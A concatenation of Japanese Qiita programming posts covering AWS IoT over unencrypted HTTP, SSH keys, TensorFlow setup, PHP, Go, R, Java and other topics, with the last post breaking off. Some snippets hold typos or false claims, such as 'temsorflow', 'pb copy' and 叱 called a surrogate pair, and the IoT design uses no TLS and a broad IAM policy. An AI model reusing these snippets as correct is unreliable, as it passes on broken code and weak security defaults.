OmniAICreator/Qiita-1.07M huggingface dataset:
TLSが使えない低スペックなマイコンでのAWS IoTへの接続

# やりたいこと・課題
* mbedTLSとかが使えない低スペック or 古いマイコンで、AWS IoTにつなぎたい
    * 新しいデバイスなら普通にMQTTSで繋げる
    * クラウド側の設計を、古いデバイスと新しいデバイスで、なるだけ共通化したい
    * マネージド・サービス使って、運用の手間は省きたい

# 実現方法
デバイスは、TLS無しのHTTPリクエストのクエリパラメータでデータを送信する。
クラウドでHTTPでメッセージを受けて、それをAWS IoTに転送するような仕組みを考える。

### 割り切る点
* セキュリティ
    * TLSが無いので、このままだとリプレイアタックや盗聴などのリスクはある。
    * 簡易的な暗号化に使えそうな鍵と、スペックがあれば、それでPayloadのみを暗号化するとベターかもしれない。AESなど。ついでに認証も…　　
    * 別の方法は？
        * 機密度が高いデータを送る && Cellularモジュールが使える場合は、SIMの閉域網サービスを使うのもあり
            * 機器のログデータとかであれば、何か起きても影響が限定的なこともあるので、今回はこの手段を検討する
        * 本当にTLSが使えないのかは、一度確認しても良いかもしれない。RSAをやめてECDSAを使うことでフットプリントの問題などは解決するかもしれない。
    * 
* 双方向性
    * 基本は上りのみ。
    * 下りは、ポーリングする形で実現はできる。ポーリング間隔に応じて遅延が発生するので、リアルタイム性を求める場合は厳しい。

# 設計
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/102681/9c47a373-6d3c-cc77-625c-f22fbe80087e.png)

# 設定
### IoT Core
* 特に変わったことはしないためここでは割愛
    * 基本的なことはここで学べます（ https://aws-iot-core-for-beginners.workshop.aws/ ）

### Lambda
とてもシンプルです。クエリパラメータをそのままJsonにしてPayloadに突っ込んでます。
Execution roleに、AWS IoTへのアクセスを許可するためのポリシーを入れます。（雑に `AWSIoTFullAccess` をセットしました）

```python
import json
import boto3

iot = boto3.client('iot-data')

def lambda_handler(event, context):

    message = event['queryStringParameters']

    topic = 'data/sensor'

    iot.publish(
        topic=topic,
        qos=0,
        payload=json.dumps(message)
    )

    return {
        'statusCode': 200,
        'body': json.dumps(event['queryStringParameters'])
    }
```

### API Gateway
HTTP API 経由でLambdaを呼びます。
1. HTTP APIを選択
2. Create an API→Integrations→Lambda→作成したLambda Functionを指定
3. API nameは任意
4. Configure routes で、Method をGETにし、Resource Pathは、 `/publish` にします。

これでURLが決まるので、以下の様に試してみました。ResponseにはIoT CoreにPublishされるJsonと同じものが表示されるようにLambdaの中で処理しています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/102681/5633b52e-c16b-38fe-cec1-ec55b62db09d.png)

### CloudFront
HTTPでメッセージを受けられるようにし、オリジンに上記のURLを指定します。
1. Create Distribution
2. Origin Domain Name にURLを入れる。 xxxxxxxx.execute-api.ap-northeast-1.amazonaws.com
3. Origin Pathは空欄
4. Origin Protocol Policy はHTTPS Only
5. Cache Policyでは、TTLを0に設定（キャッシュしない）
6. Origin Request Policyで、Headers=None, Cookies=None, Query strings=All

これで作成。できるまで数分待つ。
完成したら、ブラウザなどでアクセスしてみます。

```
http://xxxxxxxxxx.cloudfront.net/publish?temperature=40
```

と打ち込むとメッセージがAWS IoTにPublishされました。
IoT CoreのTestで機能で確認するとこんなかんじでした。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/102681/7247dbe3-8406-3122-522c-671c4ae4ec8f.png)


# まとめ
これで、HTTP GETのみが喋れるデバイスでもIoT Coreにつなぐことができ、MQTTSで接続しているデバイスとバックエンドの実装を(全てではありませんが)、統一することができます。特にデバイス管理（識別）や認証などは、開発コスト、ハードウェアスペック、通信コスト、セキュリティなどをトータルで考慮しどこまでをどのようにやるか、考える必要がありそうです。
Scrum Fest Sapporo Day 2 登壇レポート「さぁ、楽しいふりかえりを始めよう」

# Scrum Fest Sapporo Day 2 「さぁ、楽しいふりかえりを始めよう」

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221788/601ffe30-31c7-9c84-87ad-1fdaa88b1a6f.png)

2020/11/07に開催されたScrum Fest Sapporo 2020 Day 2にて、11:00-11:50で表題のセッションで登壇してきました。
この記事は、セッションに関する簡単なまとめです。

# スライド

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221788/30f2b308-f9f7-b2e3-e580-86496b632ebd.png)

以下からご参照いただけます。
https://speakerdeck.com/viva_tweet_x/saa-le-siihurikaeriwoshi-meyou

なお、タイトルの花は「紫蘭（シラン）」。花言葉は「楽しい語らい」です。

# ふりかえりに関するアンケート

![1-.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221788/af642e50-68e2-bd3a-d26c-25f8ad47b49d.jpeg)

ふりかえりを行っている人が75%くらいでした。「スクラムフェス」としてはちょっと意外な結果に。

![2-.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221788/b43fc6e2-ad6a-bb5d-b418-08d9ef262c25.jpeg)

頻度としては、1か月以上に1度（定期的にやっていない人も含む）が多かったです。
1週間と2週間が同票だったので、スプリントの期間も1週間・2週間が多い、ということでしょうね。
1日以下でふりかえりをやっているというエクストリームな人が意外と多いのがびっくりです。

![3-.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221788/c325d09c-e43e-36bb-cf5a-b367424b8996.jpeg)

基本的にリモートワークが多いですね。
1:1:1のパターンがほとんどで、全員ばらばらにふりかえりをやっていることが分かります。

![4-.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221788/af306381-d94d-724c-19ba-804e86cd8320.jpeg)

ふりかえりを難しく、楽しくないと考えている人が半分くらい。難しいと考えている人が大多数だということも分かります。

# 伝えたかったこと

COVID-19の環境下で、一変してしまったふりかえりのやり方ですが、今の状況だからこそできるふりかえりの進め方があります。
また、今でも昔から変わらないものはあり、それは先人の知恵や皆さんの知識が使える領域です。
ふりかえりのマインドセット、ふりかえりのファシリテーションはいつでも使える技術です。

特に、ふりかえりに対する期待値を下げること、ファシリテーションに対する誤解や、「正解を求めない」ということ。これらは、チームでふりかえりを導入する際に、スクラムマスターやリーダーが重責を感じて辛くなってしまう部分を楽にしてくれる考え方です。

**ふりかえりは、楽しくしたっていいんだ。**
楽しいふりかえりを、はじめていきましょう。

# オンラインで変わったものを、うまく活用できる事例

オンラインだからこそ、チャットならではのやりとりが行えます。
[ふりかえりで陣取りゲーム！～ふりかえりの手法紹介：Blokus](https://qiita.com/viva_tweet_x/items/4249d32931007dde1851)がいい例です。

# 変わらないもの：ふりかえりのマインドセット

6つのマインドセットは、オンラインでもオフラインでも変わりません。

- 受容する
- 学びを祝う
- 小さな一歩を踏み出す
- 実験する
- 多角的に捉える
- 高速にフィードバックを得る

# 変わらないもの：ふりかえりのファシリテーション

ふりかえりのファシリテーションとは、司会ではなく**「促す」**ことです。
ファシリテーターの役割は、スクラムマスターだけのものではありません。
特定の誰かが進めるものでもありません。
**重責を感じなくていい**のです。


全員がファシリテーターの意識を持ち、**その人なりのやり方でチーム全員でふりかえりを形作っていきましょう**。

また、**正解を求めようとしない**こと。
ふりかえりに正解はありません。
チームに「私が思う正解に辿りついてほしい」と思っているのなら、それを捨てるところから始めましょう。
チームはいつも、あなたの想像を超えてきます。

# 詳しい内容について

詳しい内容は、スライドをご参照ください。
また、[11/11にふりかえり実践会で再演も行います](https://retrospective.connpass.com/event/192949/)。そちらも併せてお楽しみください。
Rails deviseでマイページの作成

# やりたいこと
railsのgemであるdeviseを使用してマイページの作成を記事にします。

**前提：Rails環境構築済み, devise導入済み**

# routeの設定
マイページを作成するためにshowアクションを作成します。

```
# routes.rb
resources :user, only: [:show]
```

# controllerの作成

userコントローラーの作成をする。

```
$ rails g controller users show
```

# controllerの編集

users_controllerに、DBであるユーザーを取得します。

```
# app/controllers/users_controller.rb
  # マイページ
  def show
    @user = User.find(params[:id])
  end
```

# viewの編集

マイページのviewを作成。
userテーブルのニックネームとメールアドレスを表示

```
# views/users/show.html.haml
%h1
  = @user.nickname
%h1
  = @user.email
```

# 最後に
簡単にdeviseでマイページ作成の記事を記述しました。
少しずつアウトプットしてスキルを身に付けたいし誰かの役に立てれば良いなと思います。
初めての投稿でしたがマークアップの練習にもなり楽しかったです。
これからも投稿していきます。
SSH key の取得とGithubとの接続方法

#SSH key の取得と接続方法
### Step1: ターミナルを起動し .sshに移動
.ssh = ssh key を保存する場所

```
$ cd .ssh
```

### Step２: SSH key の取得


```
$ ssh-keygen -t rsa -b 4096 -C "email@example.com"
```


 "email@example.com" = "githubにサインインするemail"

### Step3: パスワード設定を求められるので、設定（何でもよい）
＊入力した文字は見えない

```
Enter passphrase (empty for no passphrase):
```

↓このようなランダムアートが出たらOK

![スクリーンショット 2020-11-07 午後3.22.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/763647/1052f92c-af7a-7610-919c-3a4cedd0a6f3.png)


### Step4: 取得したSSH keyをssh-agentに登録

```
$ eval "$(ssh-agent -s)"
Agent pid 88888
```
* Agent pid 88888 = ランダムで５桁の数字が表示される

```
$ ssh-add ~/.ssh/id_rsa
Enter passphrase for /User/username/.ssh/id_rsa:
```

先程設定したパスワードを入力すると

```
Identity added: /User/username/.ssh/id_rsa (/User/username/.ssh/id_rsa)
```
↑この表示がでる。

### Step 5: Githubアカウント上でSSH Keyを作成

githubアカウントのサインイン　ｰ>　settingへ移動　ｰ>　SSH and GPG keys
![スクリーンショット 2020-11-07 午後3.51.28.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/763647/b8b8688b-4ff5-c950-006b-60b06c2716ae.png)

右上の緑色のMake SHH Key　をクリック
![スクリーンショット 2020-11-07 午後3.53.45.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/763647/429f68ae-bfba-e5c1-2243-cee1e3b1b77e.png)
すると以下の画面が表示される

![スクリーンショット 2020-11-07 午後3.55.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/763647/7dc21abd-0d6d-f2d4-8efb-526c7db9a251.png)


Title と　Key を入力
　　・　Title = 何でも良い
　　・　Key = ターミナルへ移動し、以下のコマンドを入力するとKeyがコピーされる

```
 $ pb copy < ~/.ssh/id_rsa.pub
```


Keyのブランクで⌘+vでペーストするとKeyが入力される。
![スクリーンショット 2020-11-07 午後4.21.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/763647/1a48311f-6d31-5d67-2967-bfb66dd33a4a.png)

Add SSH Keyをクリック
![スクリーンショット 2020-11-07 午後4.26.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/763647/6e2c0ef0-a7e3-682e-9edb-4acb5a77e367.png)

あなたのPCとGithubが接続された！

### 補足：　接続確認

```
$ ssh -T git@github.com
```
Hi username! You've successfully authenticated, but GitHub does not provide shell access.
が表示されたら上手く接続できている！

参考：
https://www.youtube.com/watch?v=H5qNpRGB7Qw&t=303s
https://qiita.com/shizuma/items/2b2f873a0034839e47ce
【環境構築】keras/tensorflowをGPUで動かす@anaconda

# 注意
- いつかまた環境構築するときの個人的メモくらいに思っていただければ幸いです。
- 進化がはやいので、バージョンなど今のものとは違うかもしれません。
- 「やってみたら壊れた」など責任取れませんので、よろしくお願いいたします。。。

# 参考にさせていただいたサイト・qiita
- [TensorFlow 2.2（GPU 対応可能）のインストール（Windows 上）](https://www.kkaneko.jp/tools/win/tensorflow2.html#S1)
- [NVIDIA CUDA ツールキット 10.1，10.0 のインストール（Windows 上）](https://www.kkaneko.jp/tools/win/cuda.html)
- [Visual C++ ビルドツール 2019 （Build Tools for Visual Studio 2019） のインストール（Windows 上）](https://www.kkaneko.jp/tools/win/buildtool.html)
- [TensorFlow2.1でCuda10.1なのにGPUが認識されない問題の解決法](https://medium.com/lsc-psd/tensorflow2-1%E3%81%A7cuda10-1%E3%81%AA%E3%81%AE%E3%81%ABgpu%E3%81%8C%E8%AA%8D%E8%AD%98%E3%81%95%E3%82%8C%E3%81%AA%E3%81%84%E5%95%8F%E9%A1%8C%E3%81%AE%E8%A7%A3%E6%B1%BA%E6%B3%95-6be5137ec216)
- [CUDA+cuDNNのインストールまとめ](https://qiita.com/8128/items/2e884998cd1193f73e2f)

# 環境
- windows10
- NVIDIA GeForce GTX 1660 SUPER
- CUDA 10.1
- cuDNNv 7.6.5
- python 3.7.9
- tensorflow 2.1.0
- keras 2.3.1
- Visual Studio Community 2019 version16.2


# 1. Visual Studioをインストール
- [こちら](https://www.visualstudio.com/products/visual-studio-community-vs)からダウンロードする
- 後述のCUDAtoolkitを使用するのに必要 
- ダウンロード後の設定画面において、ワークロードは「C++ によるデスクトップ開発」を選択

# 2. CUDA toolkitをインストール
- [こちら](https://developer.nvidia.com/cuda-toolkit-archive)から（tensorflow2.xを使う場合）バージョン10.1をダウンロードする
- `nvcc -V`でバージョン確認

# 3. cuDNNをインストール
- [こちら](https://developer.nvidia.com/cudnn)から（tensorflow2.xを使う場合）バージョン7.6をダウンロードする
- 会員登録が必要。

#### CUDA toolkitとcuDNNのインストールについては、参考サイトに非常に丁寧にまとめていただいているので、そちらを参照してください。

# 4. anacondaの仮想環境に入って以下を確認
- 今回当方は仮想環境を新しく作りました。
- `conda list cudnn`で、`cudnn  7.6.5 cuda10.1_0`という結果が返るか確認。
- 上記の結果でなければ、`conda install cudnn=7.6.5=cuda10.1_0`を実行。

# 5. TensorFlow2.1をインストール
- `conda install tensorflow-gpu`
- `python -c "import tensorflow as tf;print(tf.__version__)"`でバージョン確認

# 6. keras2.3.1をインストール
- `conda install keras==2.3.1`
- `python -c "import keras;print(keras.__version__)"`でバージョン確認

# 7. jupyter notebookで使えるか確認
#### GPUが認識されているか
- GPUが認識されていれば結果に`device_type: "GPU"`という記述が入る

```python
import temsorflow
from tensorflow.python.client import device_lib
device_lib.list_local_devices()
```
- あとはtensorflowとkerasをimportすれば、私の環境では使用できました。
jqueryでテーブルから１行を取得する方法

## 1. 前提条件

まず、対象となるHTMLテーブルと各行に配置された「削除」ボタンを用意します。

```html
<table>
    <tr>
        <td>John Doe</td>
        <td>0123456789</td>
        <td>123-4567</td>
        <td>New York, USA</td>
        <td><input type="button" class="btn" value="削除" /></td>
    </tr>
    <tr>
        <td>Jane Smith</td>
        <td>0987654321</td>
        <td>765-4321</td>
        <td>Tokyo, Japan</td>
        <td><input type="button" class="btn" value="削除" /></td>
    </tr>
</table>
```

ここでは、各行の最後に「削除」ボタンが配置されており、ユーザーがこのボタンをクリックすると、その行の情報を取得するようにします。

## 2. jQueryのセットアップ

次に、jQueryを利用して削除ボタンをクリックしたときに行を取得します。jQueryを使用するため、jQueryライブラリを読み込みます。

```html
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
```

これで、jQueryを使ってテーブル操作ができるようになります。

## 3. 行の取得方法

削除ボタンがクリックされたときに、そのボタンが属する行の情報を取得するためのコードを追加します。

```javascript
$(document).ready(function() {
    // 削除ボタンがクリックされたときのイベントリスナーを設定
    $(".btn").on("click", function() {
        // クリックされたボタンの親の行 (<tr>) を取得
        var selectedRow = $(this).closest('tr');

        // 行内の各セル (td) の値を取得
        var name = selectedRow.children("td").eq(0).text();
        var tel = selectedRow.children("td").eq(1).text();
        var postcode = selectedRow.children("td").eq(2).text();
        var address = selectedRow.children("td").eq(3).text();

        // 取得した情報をコンソールに表示
        console.log("名前: " + name);
        console.log("電話番号: " + tel);
        console.log("郵便番号: " + postcode);
        console.log("住所: " + address);
    });
});
```

### コードの解説

1. **`$(document).ready(function() {...})`**
   - ページの読み込みが完了したときにスクリプトを実行します。

2. **`$(".btn").on("click", function() {...})`**
   - `.btn`クラスの削除ボタンがクリックされたときにイベントを発火させます。

3. **`var selectedRow = $(this).closest('tr');`**
   - `$(this)`はクリックされたボタンを指し、`closest('tr')`でそのボタンを含む最も近い`<tr>`タグ（つまり行）を取得します。

4. **`var name = selectedRow.children("td").eq(0).text();`**
   - `selectedRow.children("td")`で行内の全てのセルを取得し、`eq(0)`で最初のセルの値を取得します。同様に`eq(1)`, `eq(2)`, `eq(3)`でそれぞれのセルの値を取得します。

5. **`console.log(...)`**
   - 取得した各値をコンソールに表示します。

## 4. 実行結果

上記のコードを実行すると、削除ボタンがクリックされたときに、その行の名前、電話番号、郵便番号、住所がコンソールに表示されます。

例えば、「John Doe」の行の削除ボタンをクリックすると、次のような結果がコンソールに表示されます。

```
名前: John Doe
電話番号: 0123456789
郵便番号: 123-4567
住所: New York, USA
```

## 5. 応用

### 行の削除

クリックされた行を削除する場合は、次のように`remove()`メソッドを使います。

```javascript
selectedRow.remove();
```

これにより、削除ボタンをクリックした行がテーブルから削除されます。

### 別の操作の追加

例えば、行の情報を別のフォームに転送して編集する、といった操作を追加することも可能です。`selectedRow`で行の情報を取得できるため、さまざまな操作に応用できます。
【Laravel】join時のエラー SQLSTATE[42P01]: Undefined table: 7 ERROR: relation "user" does not exist LINE 1

# 発生したパターン

**listings**というテーブルと**users**というテーブルがあり、紐付いている。
**listingsテーブル**は`user_id` を持っている。
**usersテーブル**のデータを `join` して持ってくる場合に発生。

```php:ListingsController.php
$users = Listing::join('user', 'listing.user_id', 'user.id')
  ->where('name', $request->name)
  ->get();
```

## 解決

```php:ListingsController.php
$users = Listing::join('users', 'listings.user_id', 'users.id')
  ->where('name', $request->name)
  ->get();
```

`join` の引数であるテーブル名を単数形から複数形に修正することで解決。
array_diff()ってなんやねん!!

array_diff()ってなんやねん!!
##説明
array_diff()は、

```
array_diff ( array $array1 , array $array2 [, array $... ] )
```

第一引数にかかれている関数を、そのほかの関数と比べて差分を抽出する。
(個人的には配列1から配列2を引くって感じ)

```
$array1 = [1,2,3,4,5,6,7,8,9,11,12,13,22,22];
$array2 = [1,22,50]
$array = array_diff($array1, $array2);
var_dump($array);
```

array1にarray2の要素があれば消す。（差分を出す）

```
2,3,4,5,6,7,8,9,11,12,13
```


##実際に使ったのはこんな感じ

```
$tehai_array = [1,2,3,4,5,6,7,8,9,11,12,13,22,22];
$head_candidate = [22]
$except = array_diff($tehai_array, $head_candidate);
var_dump($except);
```

```
1,2,3,4,5,6,7,8,9,11,12,13
```
が出力される。(22がなくなる。)

#筆者
2020年1月ごろからプログラミング学習し始めました。
日々の学習についてあげています。
麻雀点数計算アプリを作成中！！！
不備があればご指摘いただければ幸いです。
現場で使える(どこでも使える)タイマー(ticker)

何らかの処理を定期的に実行する場合にtickerを利用する方法

```
func main() {
	ticker := time.NewTicker(time.Second)
	defer ticker.Stop()
	for {
		select {
		case t := <-ticker.C:
			fmt.Println("Current time: ", t)
		}
	}
}
```

https://play.golang.org/p/Ho-mWf66l6Z

# 参考

- https://golang.org/pkg/time/#Ticker

# 応用

## シグナルで停止する

```
func main() {
	sigs := make(chan os.Signal, 1)
	signal.Notify(sigs)
	ticker := time.NewTicker(time.Second)
	defer ticker.Stop()
	for {
		select {
		case t := <-ticker.C:
			fmt.Println("Current time: ", t)
		case <-sigs:
			fmt.Println("done")
			return
		}
	}
}
```

https://play.golang.org/p/mNGWiLgcFvr

## 他のチャネルと合わせる

```
func main() {
	c := make(chan int, 1)
	go func() {
		for i := 0; i < 10; i++ {
			time.Sleep(500 * time.Millisecond)
			c <- i
		}
		close(c)
	}()
	ticker := time.NewTicker(time.Second)
	defer ticker.Stop()
	for {
		select {
		case i, ok := <-c:
			if !ok {
				fmt.Println("done")
				return
			}
			fmt.Println("i = ", i)
		case t := <-ticker.C:
			fmt.Println("Current time: ", t)
		}
	}
}
```

https://play.golang.org/p/mjCcZ45U98B
Rの覚書き：出力結果にgetOption("max.print") が表示された時

- TCGAのRNA-seqデータを元にして数種類のスコア値を各サンプルについて計算した
- その結果は一つの変数に格納されており、これをsink( )を使ってタブ区切りテキストファイルとして出力した。
- すると、一部のデータのみが表示されて、getOption("max.print") とともに、省略された残りのデータ数が記されていた。
- 以下のコマンドで上限設定を外した。Rで扱える整数値は2147483647までなので、

```R:R

old.op <- options(max.print=2147483647)
# このコマンドの後、変数への格納コマンドを実行すると、直接出力でもファイル保存でも全て表示された
```
【PHP】多次元配列の孫要素の数のみをカウントしたい

# どういうことか

```php
$array = [
  "a" => ["A", "B"]
  "b" => ["C", "D"]
]
```

これの**大文字のアルファベットの数のみ**がほしい。つまり**4**という結果がほしい。

## どうするか

結論から言うと**関数一発では出せない**。

### `count`関数を使う

```php
count($array); 

// 結果 ２
```

子要素の数しかカウントしてくれない。
したがって `$array['a']` と `$array['b']` で合計は**2**。

### `COUNT_RECURSIVE`を使う

`count`関数の第2引数に`COUNT_RECURSIVE`を渡す。

```php
count($array, COUNT_RECURSIVE);

// 結果 6 
```

孫要素をカウントはしてくれるが子要素もカウントしてしまう。

## なんとかする

たとえば

```php
count($array, COUNT_RECURSIVE) - count($array);

// 結果 4
```

とか

```php
$count = 0;

foreach($array as $values) {
  $count += count($values);
}

// 結果 4
```

とか。
先輩エンジニアいわく

>任意の構造があり得る中で孫要素だけ取り出すようなオプション作る意味があんまりない……

らしい。
issue-codeからエッジリストを抽出する

#はじめに
NOMINATEのデータって実はスコアだけじゃなくてissue-codeも付いてるんですよね。
しかもこいつ1つの法案に対して複数のissue-codeが与えられていたりするので、同じ法案に付されたissue-codeを「繋がっている」扱いにしてネットワークデータを作成してみたいと思います。
データ元：
Lewis, Jeffrey B., Keith Poole, Howard Rosenthal, Adam Boche, Aaron Rudkin, and Luke Sonnet (2020). Voteview: Congressional Roll-Call Votes Database. https://voteview.com/


#データを編集

読み込み

```r
library(tidyverse)
rollcalls <- readRDS("data/NOMINATE/rollcalls_all.rds") 
#元データが死ぬほど重いのでrds化してあります
```

差し当たり上院に提出された法案について見て行きたいと思います。

```r
#下院を会期別にみてみる
con <- 93 #仮に93議会についてやってみます
RC_year <- rollcalls %>%
  filter(congress==con, chamber=="Senate") %>% #93議会の上院を抽出
  select(issue_codes) #issue codeを抽出

df <- list()
for(i in 1:nrow(RC_year)){
  if(length(RC_year$issue_codes[[i]]) >= 2){
    df <- c(df, list(RC_year$issue_codes[[i]]))
  }else{}
}

dataframe <- matrix(NA, length(df), 2)
colnames(dataframe) <- c("code1", "code2")
for(j in 1:length(df)){
  dataframe[j,1] <- df[[j]][1]
  dataframe[j,2] <- df[[j]][2]
}
topic.e <- as_tibble(dataframe)
```
なんかもっと上手いことできる気がする。
ちなみに重み付けを処理しようとすると以下のようになります。
//なんでか知らんけど重み付けの行をigraphに読ませられてないので読ませたら加筆します。
//誰か教えてくれ(投げやり

```r
topic.e <- topic.e %>%
  group_by(code1, code2) %>%
  summarise(multi=n())

library(igraph)
g <- graph.data.frame(topic.e[1:2],directed=F)
```

これをプロットしてみるとこんな感じの図ができます。
![Rplot_93Senate_issuecodes.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/712546/bfc2e40f-977b-c4ef-7837-c2b5866087d1.png)
AWS(EC2)について

#はじめに
こちらではAWS機能について書いていきたいと思います。
公式ドキュメントやAWS認定試験（ソリューションアーキテクトやDevOpsなど）の勉強教材など細かい内容をかかず、ざっくりとした内容で。
試験などに興味はないし！公式ドキュメントなど長ったらしくて読めん！
という方に向けに作っていきたいと思います。
(私の備忘録も兼ねて)
今回は細かいことより概要的な内容になります。

写真はつけられればつけます。(Qiitaの制限の範囲内で)

#環境
AWS

#ドキュメント
https://docs.aws.amazon.com/index.html

#ECとは？
「Amazon Elastic Compute Cloud」の略です。
クラウド上に仮想サーバを構築するためのサービスになります。
構築後はそのクラウド上で操作が行えます。
サーバをオンプレで活用しせず、クラウド上で活用するものとなります。
AWSといえばのサービスのひとつ。
OSはLinuxからWindowsまで幅広くあつかっていて、
メモリや容量も選べるがそれに比例して価格も高くなっていく。

価格の計算はサイトで紹介されていたりしているのでそちらを活用してもらえれば
https://docs.aws.amazon.com/ja_jp/pricing-calculator/latest/userguide/getting-started.html

##特徴
・多種多様なOSを選べる
・汎用的なIntelアーキテクチャを採用
・起動、削除、ノードの追加、マシンスペックの変更が数分で可能
・独自のAmazon Machine Image　にOSの設定を作成し、保存再利用が可能


##インスタンスタイプとは
メモリやらCPUや容量をネットワークパフォーマンスなどが設定されている
つまりマックのセット商品みたいなもの
性能がいいとそれだけ高い

###インスタンスタイプの表記
{ファミリーと世代}.{インスタンスの容量}となっている

汎用的な物だったりコンピューティングやストレージやメモリが最適化された物だったり
GPUやFPGAをつかっているだったりいろいろ詳細はサイトへ

https://aws.amazon.com/jp/ec2/instance-types/

#金額システム
料金システムの仕組みで大枠となるものが何個かある
・オンデマンド
・リザーブドインスタンス
・スポットインスタンス
・Saving Plan
・キャパシティの予約

Saving Planは比較的に新しいサービスだとかなんとか....

##オンデマンド
その場で借りて構築し従量課金がかかる

##リサーブドインスタンス
要は長期契約(1年や3年単位で契約できてオンデマンドでずっと稼働するより安く運用できる)
スタンダードとコンバーティブルの二つがある

####スタンダード
コンバーティブルより安いが途中変更などの
柔軟性に弱い
不要になると売れる

####コンバーティブル
スタンダードより高いが途中変更などの途中変更などの
柔軟性に強い
不要になっても売れない(今後売れるらしいが？)

##スポットインスタンス
AWSは全ての容量を開放しているわけではなく災害時など障害時に備えて予備の容量をもっている。
値段は安いが入札方式で利用することができるので入札が安いと使えない場合がある。
起動が少し時間がかかるらしく、一時的な物のため消される場合もある。

##Saving Plan
リサーブどインスタンスと同じように期間で契約する物
オンデマンドより割安だが
処理の量も指定して契約するもの。
EC２　Fargate　Lambdaにのみ適応かのう(今後増える？)


##キャパシティの予約
期間を予約して使うシステムで割引などはない
使い道としてAZの枠を超えられるので
AZ内のリソースをが限界を超えた場合い他のリソースでカバーできる...らしいです。

#物理対応可能なインスタンス
クラウド上ではなく物理的に対応可能....
リソースは基本みんなでシェアしているが物理的に専用で使うことができるもの....かな？
二種類存在する
・ハードウェア専有インスタンス(Dedicated Instances)
・Dedicated Hosts

公式
https://aws.amazon.com/jp/ec2/dedicated-hosts/

##違いはなに？
Dedicated InstancesとDedicated Hostsの違いは、
Dedicated Hostsは
「物理サーバーにインスタンスを配置する方法について追加の可視性およびコントロールが得られます。さらに、時間が経過してもインスタンスを同じ物理サーバーに一貫してデプロイできます」
の部分であろう
公式の表に書いている通り可視性があがり
特に**同じ物理サーバに対して一貫的にデプロイがかけれる**というのが会社の規定上サーバの共有を許さない決まりになっていたとしても対応できるのが利点であろう。

##Bare Metal
基盤となるサーバーのプロセッサとメモリにアプリケーションから直接アクセスできます[^1]

[^1]: Bare MetalとはそもそもホストOSがなくても起動できるハイパーバイザとかなんとか 参考(https://wa3.i-3-i.info/word12195.html)


#ストレージ
EC２で直接利用するストレージ
・インスタンスストア
・Elastic Block Store(EBS)

##インスタンスストア
EC2についたストレージ
一時的に保存されEC2の停止・終了するとクリアされる。
無料提供

##Elastic Block Store(EBS)
EC2とは別のところで管理され独立されている。
snapshotをS3に保存てきたりできる。

##セキュリティグループ
デフォルトでは
ポート22(SSH)
のみ接続ができるようになっている
他に接続されたい場合(httpなど)設定しなければならない

##キーペア
EC２につなげるために必要な秘密鍵誰にも取られてはいけない。

#EC２によるサーバ構築
OSの選択
↓
インスタンスタイプを選択
↓
ファミリーを選択
↓
確認と作成
↓
キーペアの選択
[Java]サロゲートペアの文字列の長さを取得する

# サロゲートペアとは
Unicode（UTF-16）では、通常、1文字を2バイトで表現します。
しかし、Unicodeで扱うべき文字が増えるにつれ、2バイトで表現できる文字数（65535文字）では不足するようになり、一部の文字を4バイトで表現することで、扱える文字数を増やすことになりました。このような4バイト文字のことをサロゲートペアと言います。

# サロゲートペアの文字列の長さを取得
"叱"という文字はサロゲートペアであるため、ふつうに`length`メソッドを使用してしまうと、2文字と見なされます。
そのため、サロゲートペアを含んだ文字列を正しくカウントするには、`length`メソッドの代わりに、`codePointCount`メソッドを使用します。

```Java
var str1 = "こんにちは";
System.out.println(str1.length());   // 結果：5

var str2 = "叱る";
System.out.println(str2.length());   // 結果：3

// こうすると正しく文字数が取れる
System.out.println(str2.codePointCount(0, str2.length()));   // 結果：2
```

# `codePointCount`メソッド
```Java
/**
@param begin 長さを求める開始位置
@param end 長さを求める終了位置
@return 文字数
*/
public int codePointCount(int begin, int end)
```
MavenでclassNotFoundException

JUnitの実行時、classNotFoundExceptionが発生

（読み込む対象のjarファイルは存在することを確認。）

【対応】
プロジェクトを右クリック
↓
プロパティ―
↓
ビルダー
「次のプロジェクトのビルダーを構成する」のところで、
「Mavenプロジェクトビルダー」をJavaビルダーよりも上にする。

（Mavenプロジェクト・ビルダーを選択して「上へ」ボタン押下）
【GAS】Google App ScriptでGmailの情報を抽出し、TimeTreeに予定を登録する

#はじめに
**製作動機**と**実現したいこと**を読んで、あなたならどう作るかという視点で読んでいただいたです。で！もっといい案なりおすすめの技術があれば、コメントをいただければ幸いです。


#製作動機
私たち夫婦は、スケジュール管理アプリ[TimeTree](https://timetreeapp.com)を使って、お互いのスケジュールを管理しています。私の妻がオンライン英会話アプリ[Cambly](https://www.cambly.com)で、毎日レッスンをしているのですが、そのスケジュールを「TimeTree」に入れ忘れてしまうことが多く、夫婦の予定がブッキングして困っています。
[「TimeTree」がAPIを公開している](https://developers.timetreeapp.com/ja/docs/api/calendar-app)ということで、自動で予定を入力してくれるアプリを作ろうと思ったのが、製作動機です。

# To-Be
「Cambly」で英会話レッスンの予約が完了したら、「TimeTree」に自動で予定が登録されること

#技術選定
Google App Script(GAS)


# 仕様

1. 妻が「Cambly」で英会話レッスンを予約する
2. レッスンの開始24時間前にリマインドメールがGmailに送られる
3. GASを定期実行し、「Cambly」から来たメールを2時間置きに10件検索する
4. 新規のレッスン予約の情報あれば、「TimeTree」に登録する
![flow.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/573011/7a1b7664-cf97-f0c9-dcf6-d4f406852f09.png)

# ソースコード
[github](https://github.com/westhouseK/english_schedule/blob/main/gas.js)

# 私の設計の落とし穴
